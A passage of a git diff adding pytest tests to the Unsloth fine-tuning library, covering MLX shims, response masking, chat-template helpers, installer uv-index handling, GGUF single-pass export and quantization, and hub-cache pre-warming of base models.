+    # no explicit length -> TRL epoch default (3 epochs, step cap disabled)
+    cfg = trl.SFTConfig(output_dir = "mlx-out")
+    assert cfg.num_train_epochs == 3
+    assert cfg.max_steps == -1
+    # explicit step / epoch counts stay exactly as written
+    assert trl.SFTConfig(output_dir = "mlx-out", max_steps = 17).max_steps == 17
+    assert trl.SFTConfig(output_dir = "mlx-out", num_train_epochs = 2).num_train_epochs == 2
+
+
+def test_mlx_vision_collator_is_constructor_compatible():
+    """Vision notebooks should be able to instantiate the collator placeholder."""
+    unsloth = _import_mlx_unsloth()
+
+    collator = unsloth.UnslothVisionDataCollator("model", "processor", flag = True)
+
+    assert collator.model == "model"
+    assert collator.processor == "processor"
+    assert collator.kwargs == {"completion_only_loss": True, "flag": True}
+
+
+def test_mlx_train_on_responses_only_returns_shared_mask_function():
+    """The MLX public shim should expose the shared response-mask helper."""
+    unsloth = _import_mlx_unsloth()
+
+    class Tokenizer:
+        def __call__(
+            self,
+            text,
+            add_special_tokens = False,
+        ):
+            return types.SimpleNamespace(
+                input_ids = {
+                    "<user>": [1],
+                    "<assistant>": [2],
+                }[text]
+            )
+
+        def convert_tokens_to_ids(self, token):
+            return token
+
+    mask_fn = unsloth.train_on_responses_only(
+        None,
+        instruction_part = "<user>",
+        response_part = "<assistant>",
+        tokenizer = Tokenizer(),
+        return_function = True,
+    )
+    masked = mask_fn(
+        {
+            "input_ids": [[1, 10, 2, 20, 21, 1, 11]],
+        }
+    )
+
+    assert masked == {"labels": [[-100, -100, -100, 20, 21, -100, -100]]}
+
+    last_mask_fn = unsloth.train_on_responses_only(
+        None,
+        instruction_part = "<user>",
+        response_part = "<assistant>",
+        tokenizer = Tokenizer(),
+        return_function = True,
+        last_response_only = True,
+    )
+    last_masked = last_mask_fn(
+        {
+            "input_ids": [[1, 10, 2, 20, 1, 11, 2, 30]],
+        }
+    )
+
+    assert last_masked == {"labels": [[-100, -100, -100, -100, -100, -100, -100, 30]]}
+
+
+def test_mlx_get_chat_template_uses_light_tokenizer_patch(monkeypatch):
+    """MLX notebooks should not import CUDA-heavy tokenizer/save helpers."""
+    _import_mlx_unsloth()
+    from unsloth.chat_templates import get_chat_template
+    import unsloth_zoo.tokenizer_utils as tokenizer_utils
+
+    class Tokenizer:
+        is_fast = True
+        padding_side = "right"
+        eos_token = "<eos>"
+        bos_token = "<bos>"
+        unk_token = "<unk>"
+        pad_token = "<pad>"
+        added_tokens_decoder = {}
+
+    def fake_patch_tokenizer(model, tokenizer):
+        return model, tokenizer
+
+    real_import = builtins.__import__
+
+    def guarded_import(name, *args, **kwargs):
+        if name.startswith("unsloth.models") or name.startswith("unsloth.save"):
+            raise AssertionError(f"unexpected CUDA-heavy import: {name}")
+        return real_import(name, *args, **kwargs)
+
+    monkeypatch.setattr(tokenizer_utils, "patch_tokenizer", fake_patch_tokenizer)
+    monkeypatch.setattr(builtins, "__import__", guarded_import)
+
+    tokenizer = get_chat_template(
+        Tokenizer(),
+        chat_template = ("{{ messages }}", "<eos>"),
+    )
+
+    assert tokenizer.chat_template == "{{ messages }}"
+    assert tokenizer.padding_side == "right"
+
+
+def test_mlx_gpu_memory_stats_helper_shape():
+    """The portable memory helper should return CUDA-shaped values."""
+    unsloth = _import_mlx_unsloth()
+
+    stats, used, total = unsloth.get_gpu_memory_stats()
+
+    assert isinstance(stats.name, str)
+    assert hasattr(stats, "total_memory")
+    assert isinstance(used, float)
+    assert total > 0
+
+
+def test_mlx_torch_cuda_compatibility_shim():
+    """Existing CUDA memory and move calls should run on MLX."""
+    unsloth = _import_mlx_unsloth()
+    torch = pytest.importorskip("torch")
+    from transformers.tokenization_utils_base import BatchEncoding
+
+    stats, used, total = unsloth.get_gpu_memory_stats()
+    cuda_stats = torch.cuda.get_device_properties(0)
+
+    assert cuda_stats.name == stats.name
+    assert cuda_stats.total_memory == stats.total_memory
+    assert torch.cuda.get_device_name(0) == stats.name
+    assert torch.cuda.max_memory_reserved() == int(used * 1024 * 1024 * 1024)
+    assert torch.cuda.max_memory_allocated() == torch.cuda.max_memory_reserved()
+    # current (non-max) APIs report live active memory, not the peak high-water
+    # mark, and never exceed it.
+    assert 0 <= torch.cuda.memory_reserved() <= torch.cuda.max_memory_reserved()
+    assert torch.cuda.memory_allocated() == torch.cuda.memory_reserved()
+    assert torch.cuda.device_count() == 1
+    assert torch.cuda.current_device() == 0
+    assert torch.cuda.get_device_capability() == (0, 0)
+    assert total > 0
+
+    free_bytes, total_bytes = torch.cuda.mem_get_info()
+    assert total_bytes == int(total * 1024 * 1024 * 1024)
+    assert 0 <= free_bytes <= total_bytes
+
+    torch.cuda.empty_cache()
+    torch.cuda.synchronize()
+    torch.cuda.reset_peak_memory_stats()
+    torch.cuda.set_device(0)
+
+    tensor = torch.tensor([1, 2, 3])
+    assert tensor.to("cuda") is tensor
+    assert tensor.cuda() is tensor
+    assert tensor.to(device = "cuda") is tensor
+    assert tensor.to("cuda", dtype = torch.float32).dtype == torch.float32
+
+    batch = BatchEncoding({"input_ids": tensor})
+    assert batch.to("cuda") is batch
+    assert batch.to(device = "cuda") is batch
diff --git a/tests/python/test_remove_special_tokens_no_bos.py b/tests/python/test_remove_special_tokens_no_bos.py
new file mode 100644
index 0000000000..94c5ea3027
--- /dev/null
+++ b/tests/python/test_remove_special_tokens_no_bos.py
@@ -0,0 +1,46 @@
+import ast
+from pathlib import Path
+
+
+def _load_remove_special_tokens():
+    # Extract remove_special_tokens without importing unsloth (importing unsloth
+    # needs unsloth_zoo / a GPU). The function is pure Python and uses no imports,
+    # so it execs cleanly in an empty namespace.
+    source = Path(__file__).parents[2] / "unsloth" / "chat_templates.py"
+    tree = ast.parse(source.read_text(encoding = "utf-8"))
+    funcs = [
+        node
+        for node in tree.body
+        if isinstance(node, ast.FunctionDef) and node.name == "remove_special_tokens"
+    ]
+    namespace = {}
+    module = ast.Module(body = funcs, type_ignores = [])
+    ast.fix_missing_locations(module)
+    exec(compile(module, str(source), "exec"), namespace)
+    return namespace["remove_special_tokens"]
+
+
+class _StubTokenizer:
+    def __init__(self, bos_token):
+        self.bos_token = bos_token
+
+
+def test_no_bos_tokenizer_does_not_crash():
+    # Tokenizers such as Qwen2 / Qwen2.5, GPT-2, Falcon and GPT-NeoX have no BOS
+    # token, so tokenizer.bos_token is None. remove_special_tokens must leave the
+    # prompt untouched instead of raising
+    # "TypeError: startswith first arg must be str or a tuple of str, not NoneType".
+    remove_special_tokens = _load_remove_special_tokens()
+    assert remove_special_tokens(_StubTokenizer(None), "Hello world") == "Hello world"
+
+
+def test_double_bos_is_stripped():
+    # A tokenizer with a BOS token still has a single leading BOS removed.
+    remove_special_tokens = _load_remove_special_tokens()
+    assert remove_special_tokens(_StubTokenizer("<s>"), "<s>Hello world") == "Hello world"
+
+
+def test_prompt_without_leading_bos_unchanged():
+    # A BOS-bearing tokenizer leaves a prompt that does not start with BOS alone.
+    remove_special_tokens = _load_remove_special_tokens()
+    assert remove_special_tokens(_StubTokenizer("<s>"), "Hello world") == "Hello world"
diff --git a/tests/python/test_to_sharegpt_optional_none.py b/tests/python/test_to_sharegpt_optional_none.py
new file mode 100644
index 0000000000..05fcb8a6a8
--- /dev/null
+++ b/tests/python/test_to_sharegpt_optional_none.py
@@ -0,0 +1,97 @@
+import ast
+import re
+from pathlib import Path
+
+
+def _load_formatter_builders():
+    # Extract _parse_combined_prompt and _create_formatter without importing
+    # unsloth (importing unsloth needs unsloth_zoo / a GPU). Both are pure
+    # Python and only use the `re` module.
+    source = Path(__file__).parents[2] / "unsloth" / "chat_templates.py"
+    tree = ast.parse(source.read_text(encoding = "utf-8"))
+    wanted = {"_parse_combined_prompt", "_create_formatter"}
+    funcs = [
+        node for node in tree.body if isinstance(node, ast.FunctionDef) and node.name in wanted
+    ]
+    namespace = {"re": re}
+    module = ast.Module(body = funcs, type_ignores = [])
+    ast.fix_missing_locations(module)
+    exec(compile(module, str(source), "exec"), namespace)
+    return namespace["_parse_combined_prompt"], namespace["_create_formatter"]
+
+
+class _StubDataset:
+    def __init__(self, column_names):
+        self.column_names = column_names
+
+
+def _render(merged_prompt, columns, batch):
+    parse, create = _load_formatter_builders()
+    possible_columns, final_optional_prompts = parse(merged_prompt, _StubDataset(columns))
+    processor = create(possible_columns, final_optional_prompts, "text")
+    return processor(batch)["text"]
+
+
+def test_optional_block_missing_second_column_does_not_render_none():
+    # A [[...]] block may reference several columns; only the first gates the
+    # block. A later column that is None must not render as the literal "None".
+    merged_prompt = "Location: [[{city}, {country}]] end"
+    out = _render(
+        merged_prompt,
+        ["city", "country"],
+        {"city": ["Paris"], "country": [None]},
+    )
+    assert out[0] == "Location: Paris,  end"
+    assert "None" not in out[0]
+
+
+def test_optional_block_all_columns_present_unchanged():
+    merged_prompt = "Location: [[{city}, {country}]] end"
+    out = _render(
+        merged_prompt,
+        ["city", "country"],
+        {"city": ["Paris"], "country": ["France"]},
+    )
+    assert out[0] == "Location: Paris, France end"
+
+
+def test_optional_block_gating_column_empty_is_dropped():
+    # When the gating (first) column is empty the whole block is omitted; this
+    # behaviour is unchanged by the None coercion.
+    merged_prompt = "Location: [[{city}, {country}]] end"
+    out = _render(
+        merged_prompt,
+        ["city", "country"],
+        {"city": [""], "country": ["France"]},
+    )
+    assert out[0] == "Location:  end"
+
+
+def test_single_column_optional_block_gated_out_on_none():
+    # Single-column blocks were already gated correctly (the sole column is the
+    # gate); confirm they stay unaffected.
+    merged_prompt = "Name: [[{name}]]!"
+    out = _render(merged_prompt, ["name"], {"name": [None, "Bob"]})
+    assert out == ["Name: !", "Name: Bob!"]
+
+
+def test_required_column_none_does_not_render_none():
+    # A required (non-[[...]]) column that is None must not render as the
+    # literal "None" either; coercion happens at the row source, so both the
+    # required and optional branches are covered.
+    merged_prompt = "Location: {city}, {country} end"
+    out = _render(
+        merged_prompt,
+        ["city", "country"],
+        {"city": ["Paris"], "country": [None]},
+    )
+    assert out[0] == "Location: Paris,  end"
+    assert "None" not in out[0]
+
+
+def test_optional_block_falsy_but_present_gating_value_still_renders():
+    # The gate keeps a block whenever the first column is not "". A falsy but
+    # real value (0) must not be treated as absent, so the block still renders.
+    merged_prompt = "Count: [[{n}]]!"
+    out = _render(merged_prompt, ["n"], {"n": [0]})
+    assert out[0] == "Count: 0!"
diff --git a/tests/python/test_tokenizers_and_torch_constraint.py b/tests/python/test_tokenizers_and_torch_constraint.py
index 7390d7be9b..4322f0c7d6 100644
--- a/tests/python/test_tokenizers_and_torch_constraint.py
+++ b/tests/python/test_tokenizers_and_torch_constraint.py
@@ -14,6 +14,7 @@ _TESTS_DIR = pathlib.Path(__file__).resolve().parent.parent  # tests/
 _REPO_ROOT = _TESTS_DIR.parent  # unsloth/
 _INSTALL_SH = _REPO_ROOT / "install.sh"
 _INSTALL_PS1 = _REPO_ROOT / "install.ps1"
+_SETUP_PS1 = _REPO_ROOT / "studio" / "setup.ps1"
 _NO_TORCH_RT = _REPO_ROOT / "studio" / "backend" / "requirements" / "no-torch-runtime.txt"
 
 
@@ -109,6 +110,56 @@ class TestStructuralInstallPs1Unchanged:
         assert '"torch>=2.4,<2.11.0"' in self._ps1
 
 
+class TestInstallPs1UvDefaultIndex:
+    """Installer-managed torch indexes must override inherited uv defaults."""
+
+    _ps1 = _read(_INSTALL_PS1)
+
+    def test_torch_installs_use_default_index(self):
+        assert "--default-index $TorchIndexUrl" in self._ps1
+        assert "--default-index $ROCmIndexUrl" in self._ps1
+
+    def test_torch_installs_do_not_use_deprecated_index_url(self):
+        assert "--index-url $TorchIndexUrl" not in self._ps1
+        assert "--index-url $ROCmIndexUrl" not in self._ps1
+
+    def test_torch_installs_neutralize_all_uv_index_env_vars(self):
+        # Extra-index vars outrank --default-index, so pinned installs must clear them.
+        for var in ("UV_DEFAULT_INDEX", "UV_INDEX_URL", "UV_INDEX", "UV_EXTRA_INDEX_URL"):
+            assert var in self._ps1
+        assert 'Remove-Item "Env:$n"' in self._ps1
+
+
+class TestSetupPs1FastInstallIndex:
+    """setup.ps1 Fast-Install must neutralize inherited uv indexes when pinning."""
+
+    _ps1 = _read(_SETUP_PS1)
+
+    def test_fast_install_clears_all_uv_index_env_vars(self):
+        for var in ("UV_DEFAULT_INDEX", "UV_INDEX_URL", "UV_INDEX", "UV_EXTRA_INDEX_URL"):
+            assert var in self._ps1
+        # Must truly remove the vars (child sees no value), not set them empty.
+        assert 'Remove-Item "Env:$n"' in self._ps1
+
+
+class TestInstallShUvDefaultIndex:
+    """Linux/Mac installer torch indexes must override inherited uv defaults."""
+
+    _sh = _read(_INSTALL_SH)
+
+    def test_torch_installs_use_default_index(self):
+        assert '--default-index "$TORCH_INDEX_URL"' in self._sh
+
+    def test_torch_installs_do_not_use_deprecated_index_url(self):
+        assert '--index-url "$TORCH_INDEX_URL"' not in self._sh
+
+    def test_torch_installs_neutralize_all_uv_index_env_vars(self):
+        # --default-index installs run with all uv index env vars unset via `env -u`.
+        assert (
+            "env -u UV_DEFAULT_INDEX -u UV_INDEX_URL -u UV_INDEX -u UV_EXTRA_INDEX_URL" in self._sh
+        )
+
+
 # Group 2 -- Shell snippet tests (bash subprocess, mocked python)
 class TestTorchConstraintShell:
     """Test the TORCH_CONSTRAINT block via bash with mocked python minor versions."""
diff --git a/tests/saving/test_export_dispatch.py b/tests/saving/test_export_dispatch.py
index 3870d6269d..ad6d51e0b7 100644
--- a/tests/saving/test_export_dispatch.py
+++ b/tests/saving/test_export_dispatch.py
@@ -8,6 +8,8 @@ regressions that pure AST checks cannot (e.g. wrong scheme/suffix/outtype passed
 
 from __future__ import annotations
 
+import inspect
+
 import pytest
 
 import unsloth.save as save_mod
@@ -126,6 +128,80 @@ def test_gguf_lora_push_to_hub_is_rejected(tmp_path):
         )
 
 
+# The above rejection points users at push_to_hub_gguf(save_method='lora'), so that path
+# has to work; it is only ever exercised here.
+
+
+def test_push_to_hub_gguf_lora_dispatches(monkeypatch):
+    seen = {}
+    monkeypatch.setattr(
+        save_mod,
+        "_unsloth_save_lora_gguf",
+        lambda model, tok, sd, **kw: seen.update(kw),
+    )
+    save_mod.unsloth_push_to_hub_gguf(
+        _FakeModel(),
+        "repo/id",
+        tokenizer = object(),
+        save_method = "lora",
+        quantization_method = "q8_0",
+    )
+    assert seen.get("outtype") == "q8_0"
+    assert seen.get("push_to_hub") is True
+
+
+def test_push_to_hub_gguf_lora_skips_non_main_process(monkeypatch):
+    calls = []
+    monkeypatch.setattr(
+        save_mod,
+        "_unsloth_save_lora_gguf",
+        lambda *a, **kw: calls.append(kw),
+    )
+    result = save_mod.unsloth_push_to_hub_gguf(
+        _FakeModel(),
+        "repo/id",
+        tokenizer = object(),
+        save_method = "lora",
+        is_main_process = False,
+    )
+    assert result is None
+    assert calls == []
+
+
+def test_push_to_hub_gguf_skips_non_main_process_before_merged_conversion(monkeypatch):
+    calls = []
+    monkeypatch.setattr(
+        save_mod,
+        "unsloth_save_pretrained_gguf",
+        lambda **kw: calls.append(kw),
+    )
+    result = save_mod.unsloth_push_to_hub_gguf(
+        _FakeModel(),
+        "repo/id",
+        tokenizer = object(),
+        is_main_process = False,
+    )
+    assert result is None
+    assert calls == []
+
+
+def test_push_to_hub_gguf_preserves_positional_max_shard_size():
+    bound = inspect.signature(save_mod.unsloth_push_to_hub_gguf).bind(
+        _FakeModel(),
+        "repo/id",
+        object(),
+        "q4_k_m",
+        None,
+        None,
+        None,
+        None,
+        "token",
+        "50GB",
+    )
+    assert bound.arguments["max_shard_size"] == "50GB"
+    assert "is_main_process" not in bound.arguments
+
+
 # -- torchao PTQ / QAT dispatch ------------------------------------------------------------
 
 
diff --git a/tests/saving/test_gguf_single_pass_export.py b/tests/saving/test_gguf_single_pass_export.py
new file mode 100644
index 0000000000..296fb0d8ca
--- /dev/null
+++ b/tests/saving/test_gguf_single_pass_export.py
@@ -0,0 +1,201 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
+
+"""CPU-only routing tests for the single-pass GGUF export and parallel quantization.
+
+With convert/quantize monkeypatched, verify save_to_gguf's pass planning:
+- a single directly-convertible output type (f32/f16/bf16/q8_0) converts in ONE pass
+  with no llama-quantize step and no 16-bit intermediate,
+- k-quants and imatrix runs keep the two-pass route,
+- multiple quantize passes run through the bounded pool with request order preserved,
+- quantize failures still raise the actionable RuntimeError.
+"""
+
+from __future__ import annotations
+
+import contextlib
+import os
+import threading
+import time
+
+import pytest
+
+import unsloth.save as save_mod
+
+
+# -- _choose_first_conversion (pure planning logic) ----------------------------------------
+
+
+@pytest.mark.parametrize(
+    "methods, model_dtype, expected",
+    [
+        (["q8_0"], "f16", "q8_0"),  # default "fast_quantized" path: single pass
+        (["q8_0", "q8_0"], "bf16", "q8_0"),  # duplicates collapse to a single pass
+        (["f32"], "f16", "f32"),  # 16/32-bit outputs convert directly too
+        (["bf16"], "bf16", "bf16"),
+        (["q4_k_m"], "f16", "f16"),  # k-quants need a 16-bit base
+        (["q4_k_m", "q8_0"], "bf16", "bf16"),  # mixes need the shared base
+        (["q8_0", "f16"], "f16", "f16"),
+    ],
+)
+def test_choose_first_conversion(methods, model_dtype, expected):
+    assert save_mod._choose_first_conversion(methods, model_dtype) == expected
+
+
+def test_choose_first_conversion_imatrix_forces_two_pass():
+    # Only llama-quantize can apply an imatrix, so q8_0-only must keep the 16-bit base.
+    assert save_mod._choose_first_conversion(["q8_0"], "f16", has_imatrix = True) == "f16"
+
+
+# -- save_to_gguf pass planning (mocked convert/quantize) -----------------------------------
+
+
+class _Harness:
+    """Monkeypatched convert/quantize recording calls and creating real files."""
+
+    def __init__(
+        self,
+        monkeypatch,
+        tmp_path,
+        quantize_delays = None,
+        quantize_error = None,
+    ):
+        self.tmp_path = tmp_path
+        self.convert_calls = []
+        self.quantize_calls = []
+        self.active = 0
+        self.max_concurrency = 0
+        self._lock = threading.Lock()
+        self._delays = quantize_delays or {}
+        self._error = quantize_error
+
+        monkeypatch.setattr(save_mod, "check_llama_cpp", lambda: ("llama-quantize", "convert.py"))
+        monkeypatch.setattr(
+            save_mod,
+            "_download_convert_hf_to_gguf",
+            lambda: (str(tmp_path / "convert.py"), {"LlamaForCausalLM"}, set()),
+        )
+        monkeypatch.setattr(save_mod, "use_local_gguf", contextlib.nullcontext)
+        monkeypatch.setattr(save_mod, "convert_to_gguf", self._convert)
+        monkeypatch.setattr(save_mod, "quantize_gguf", self._quantize)
+
+    def _convert(self, **kwargs):
+        self.convert_calls.append(kwargs)
+        suffix = kwargs["quantization_type"]
+        if suffix == "None":
+            suffix = kwargs["model_dtype"]
+        out = self.tmp_path / f"{kwargs['model_name']}.{suffix.upper()}.gguf"
+        out.write_bytes(b"GGUF")
+        return [str(out)], False
+
+    def _quantize(
+        self,
+        input_gguf,
+        output_gguf,
+        quant_type,
+        imatrix = None,
+        n_threads = None,
+        **kw,
+    ):
+        with self._lock:
+            self.active += 1
+            self.max_concurrency = max(self.max_concurrency, self.active)
+        try:
+            if self._error is not None:
+                raise self._error
+            time.sleep(self._delays.get(quant_type, 0.02))
+            self.quantize_calls.append({"quant_type": quant_type, "n_threads": n_threads})
+            with open(output_gguf, "wb") as f:
+                f.write(b"GGUF")
+            return output_gguf
+        finally:
+            with self._lock:
+                self.active -= 1
+
+
+def _run(tmp_path, methods, **kwargs):
+    model_dir = tmp_path / "model_dir"
+    model_dir.mkdir(exist_ok = True)
+    return save_mod.save_to_gguf(
+        model_name = "testmodel",
+        model_type = "llama",
+        model_dtype = "float16",
+        model_directory = str(model_dir),
+        quantization_method = methods,
+        **kwargs,
+    )
+
+
+def test_q8_0_only_is_single_pass(monkeypatch, tmp_path):
+    h = _Harness(monkeypatch, tmp_path)
+    locations, want_full_precision, _ = _run(tmp_path, ["q8_0"])
+
+    assert len(h.convert_calls) == 1
+    assert h.convert_calls[0]["quantization_type"] == "q8_0"
+    assert h.quantize_calls == [], "single-pass export must not launch llama-quantize"
+    assert want_full_precision is True, "the converted file IS the requested output"
+    assert len(locations) == 1 and locations[0].endswith("testmodel.Q8_0.gguf")
+    assert os.path.exists(locations[0])
+
+
+def test_fast_quantized_alias_is_single_pass(monkeypatch, tmp_path):
+    h = _Harness(monkeypatch, tmp_path)
+    _run(tmp_path, "fast_quantized")  # the default of save_pretrained_gguf
+    assert h.convert_calls[0]["quantization_type"] == "q8_0"
+    assert h.quantize_calls == []
+
+
+def test_k_quant_keeps_two_pass(monkeypatch, tmp_path):
+    h = _Harness(monkeypatch, tmp_path)
+    locations, want_full_precision, _ = _run(tmp_path, ["q4_k_m"])
+
+    assert h.convert_calls[0]["quantization_type"] == "f16"
+    assert [c["quant_type"] for c in h.quantize_calls] == ["q4_k_m"]
+    assert want_full_precision is False
+    # The 16-bit intermediate must be cleaned up.
+    assert len(locations) == 1 and locations[0].endswith("testmodel.Q4_K_M.gguf")
+
+
+def test_mixed_methods_share_16bit_base(monkeypatch, tmp_path):
+    h = _Harness(monkeypatch, tmp_path)
+    _run(tmp_path, ["q4_k_m", "q8_0"])
+    assert h.convert_calls[0]["quantization_type"] == "f16"
+    assert sorted(c["quant_type"] for c in h.quantize_calls) == ["q4_k_m", "q8_0"]
+
+
+def test_parallel_quants_preserve_request_order(monkeypatch, tmp_path):
+    # First method is the slowest: completion order != request order.
+    h = _Harness(
+        monkeypatch, tmp_path, quantize_delays = {"q4_k_m": 0.3, "q5_k_m": 0.05, "q6_k": 0.01}
+    )
+    locations, _, _ = _run(tmp_path, ["q4_k_m", "q5_k_m", "q6_k"])
+
+    assert h.max_concurrency == 2, "quantize passes should overlap, bounded at 2"
+    quant_names = [os.path.basename(l) for l in locations if "F16" not in l]
+    assert quant_names == [
+        "testmodel.Q6_K.gguf",  # list is reversed by the cleanup block, as before
+        "testmodel.Q5_K_M.gguf",
+        "testmodel.Q4_K_M.gguf",
+    ]
+    assert all(
+        c["n_threads"] is not None for c in h.quantize_calls
+    ), "parallel workers must split the thread budget explicitly"
+
+
+def test_parallel_quants_env_kill_switch(monkeypatch, tmp_path):
+    monkeypatch.setenv("UNSLOTH_PARALLEL_GGUF_QUANTS", "0")
+    h = _Harness(monkeypatch, tmp_path, quantize_delays = {"q4_k_m": 0.05, "q5_k_m": 0.05})
+    _run(tmp_path, ["q4_k_m", "q5_k_m"])
+    assert h.max_concurrency == 1
+
+
+def test_duplicate_methods_quantize_once(monkeypatch, tmp_path):
+    h = _Harness(monkeypatch, tmp_path)
+    _run(tmp_path, ["q4_k_m", "q4_k_m"])
+    assert [c["quant_type"] for c in h.quantize_calls] == ["q4_k_m"]
+
+
+def test_quantize_failure_raises_actionable_error(monkeypatch, tmp_path):
+    h = _Harness(monkeypatch, tmp_path, quantize_error = OSError("disk full"))
+    with pytest.raises(RuntimeError, match = "Quantization failed"):
+        _run(tmp_path, ["q4_k_m", "q5_k_m"])
diff --git a/tests/saving/test_prewarm_base_model_hub_cache.py b/tests/saving/test_prewarm_base_model_hub_cache.py
new file mode 100644
index 0000000000..cbb52863ba
--- /dev/null
+++ b/tests/saving/test_prewarm_base_model_hub_cache.py
@@ -0,0 +1,459 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
+
+"""Regression tests for #6890: repeated base-model downloads across checkpoint exports.
+
+merge_and_overwrite_lora downloads missing 16-bit shards with hf_hub_download(local_dir),
+which never populates the persistent HF hub cache; a temporary merge directory (Studio
+GGUF exports delete it) means every checkpoint export re-downloads the full base model.
+_prewarm_base_model_hub_cache snapshot-downloads the base into the hub cache first so
+the zoo's cache-copy fast path is hit on later exports.
+
+unsloth.save cannot be imported on GPU-less hosts, so these tests extract the helper's
+source via ast and exec it against fakes, mirroring the other GPU-free tests.
+"""
+
+from __future__ import annotations
+
+import ast
+import json
+import os
+import types
+from pathlib import Path
+
+import pytest
+
+
+_SAVE_PY = Path(__file__).resolve().parent.parent.parent / "unsloth" / "save.py"
+_SOURCE = _SAVE_PY.read_text(encoding = "utf-8")
+
+
+def _extract_function(name: str) -> str:
+    tree = ast.parse(_SOURCE)
+    for node in ast.walk(tree):
+        if isinstance(node, ast.FunctionDef) and node.name == name:
+            return ast.get_source_segment(_SOURCE, node)
+    raise AssertionError(f"{name} not found in unsloth/save.py")
+
+
+class _FakePeftModel:
+    def __init__(self, name_or_path = "unsloth/gemma-4-31b-it-bnb-4bit"):
+        self.config = types.SimpleNamespace(_name_or_path = name_or_path)
+
+
+class _Recorder:
+    """Callable that records calls and returns/raises per configuration."""
+
+    def __init__(
+        self,
+        result = None,
+        exc = None,
+        results_fn = None,
+    ):
+        self.calls = []
+        self.result = result
+        self.exc = exc
+        self.results_fn = results_fn
+
+    def __call__(self, *args, **kwargs):
+        self.calls.append((args, kwargs))
+        if self.exc is not None:
+            raise self.exc
+        if self.results_fn is not None:
+            return self.results_fn(*args, **kwargs)
+        return self.result
+
+
+def _build_env(
+    monkeypatch,
+    tmp_path,
+    shards = None,
+    cached = False,
+    free_bytes = 10**15,
+    base_source = None,
+    kaggle = False,
+    colab = False,
+    hub_cache = None,
+    live_hub_cache = "__same__",
+    fp8_sibling = None,
+    sibling_source = None,
+    index_weight_map = None,
+):
+    """Exec the extracted helper with stubbed collaborators; returns (fn, stubs)."""
+    shards = (
+        shards
+        if shards is not None
+        else [
+            ("model-00001-of-00002.safetensors", 30 * 1024**3),
+            ("model-00002-of-00002.safetensors", 29 * 1024**3),
+        ]
+    )
+    if base_source is None:
+        base_source = ("unsloth/gemma-4-31b-it", False, None, False, None)
+
+    class _FS:
+        def __init__(self, token = None):
+            pass
+
+        def ls(
+            self,
+            repo,
+            detail = True,
+        ):
+            return [{"name": f"{repo}/{n}", "size": s} for n, s in shards]
+
+    class _LocalMiss(Exception):
+        pass
+
+    hf_hub_download = _Recorder(result = str(tmp_path / "cached"))
+    if not cached:
+        hf_hub_download.exc = _LocalMiss("not cached")
+    # Serve model.safetensors.index.json (the merge's shard filter) while shard cache
+    # probes still miss, so the index-filter path can be exercised without a network.
+    if index_weight_map is not None:
+        _idx_path = tmp_path / "model.safetensors.index.json"
+        _idx_path.write_text(json.dumps({"weight_map": index_weight_map}))
+
+        def _hub_dl(
+            repo_id = None,
+            filename = None,
+            **kw,
+        ):
+            if filename == "model.safetensors.index.json":
+                return str(_idx_path)
+            raise _LocalMiss("not cached")
+
+        hf_hub_download.exc = None
+        hf_hub_download.results_fn = _hub_dl
+    snapshot_download = _Recorder()
+    determine_base_model_source = _Recorder(result = base_source)
+    # For the FP8 -> 16bit sibling swap: return the sibling's (16bit) source when the
+    # helper re-resolves the sibling, else the original base source.
+    if fp8_sibling is not None:
+        _sib_src = sibling_source or (fp8_sibling, False, None, False, None)
+        determine_base_model_source.results_fn = (
+            lambda name, token = None: _sib_src if name == fp8_sibling else base_source
+        )
+    resolve_fp8_16bit_sibling = _Recorder(result = fp8_sibling)
+
+    cache_dir = tmp_path / "hub_cache"
+    cache_dir.mkdir(exist_ok = True)
+
+    hf_module = types.SimpleNamespace(
+        HfFileSystem = _FS,
+        hf_hub_download = hf_hub_download,
+        snapshot_download = snapshot_download,
+        constants = types.SimpleNamespace(
+            HF_HUB_CACHE = hub_cache if hub_cache is not None else str(cache_dir)
+        ),
+    )
+    zoo_module = types.SimpleNamespace(
+        determine_base_model_source = determine_base_model_source,
+        _resolve_fp8_16bit_sibling = resolve_fp8_16bit_sibling,
+    )
+    # Stub the live-env cache resolver the pre-warm uses (matches what the merge reads).
+    _live = (
+        (hub_cache if hub_cache is not None else str(cache_dir))
+        if live_hub_cache == "__same__"
+        else live_hub_cache
+    )
+    hf_cache_module = types.SimpleNamespace(_active_caches = lambda: (None, _live, None))
+    monkeypatch.setitem(__import__("sys").modules, "huggingface_hub", hf_module)
+    monkeypatch.setitem(__import__("sys").modules, "unsloth_zoo.saving_utils", zoo_module)
+    monkeypatch.setitem(__import__("sys").modules, "unsloth_zoo.hf_cache", hf_cache_module)
+
+    fake_shutil = types.SimpleNamespace(
+        disk_usage = lambda path: types.SimpleNamespace(free = free_bytes)
+    )
+
+    prints = []
+    namespace = {
+        "os": os,
+        "shutil": fake_shutil,
+        "PeftModel": _FakePeftModel,
+        "get_model_name": lambda name, load_in_4bit: name.removesuffix("-bnb-4bit"),
+        "IS_KAGGLE_ENVIRONMENT": kaggle,
+        "IS_COLAB_ENVIRONMENT": colab,
+        "print": lambda *a, **k: prints.append(" ".join(str(x) for x in a)),
+    }
+    exec(
+        compile(_extract_function("_prewarm_base_model_hub_cache"), str(_SAVE_PY), "exec"),
+        namespace,
+    )
+    stubs = types.SimpleNamespace(
+        snapshot_download = snapshot_download,
+        hf_hub_download = hf_hub_download,
+        determine_base_model_source = determine_base_model_source,
+        resolve_fp8_16bit_sibling = resolve_fp8_16bit_sibling,
+        prints = prints,
+    )
+    return namespace["_prewarm_base_model_hub_cache"], stubs
+
+
+def test_downloads_base_into_hub_cache(monkeypatch, tmp_path):
+    monkeypatch.delenv("UNSLOTH_PREWARM_HUB_CACHE", raising = False)
+    monkeypatch.delenv("HF_HUB_OFFLINE", raising = False)
+    monkeypatch.delenv("TRANSFORMERS_OFFLINE", raising = False)
+    fn, stubs = _build_env(monkeypatch, tmp_path)
+    fn(_FakePeftModel(), save_method = "merged_16bit", token = "tok")
+    assert len(stubs.snapshot_download.calls) == 1
+    _, kwargs = stubs.snapshot_download.calls[0]
+    assert kwargs["repo_id"] == "unsloth/gemma-4-31b-it"
+    # No local_dir: the whole point is populating the persistent cache.
+    assert "local_dir" not in kwargs
+    assert "model-00001-of-00002.safetensors" in kwargs["allow_patterns"]
+    assert "model.safetensors.index.json" in kwargs["allow_patterns"]
+
+
+def test_skips_download_when_already_cached(monkeypatch, tmp_path):
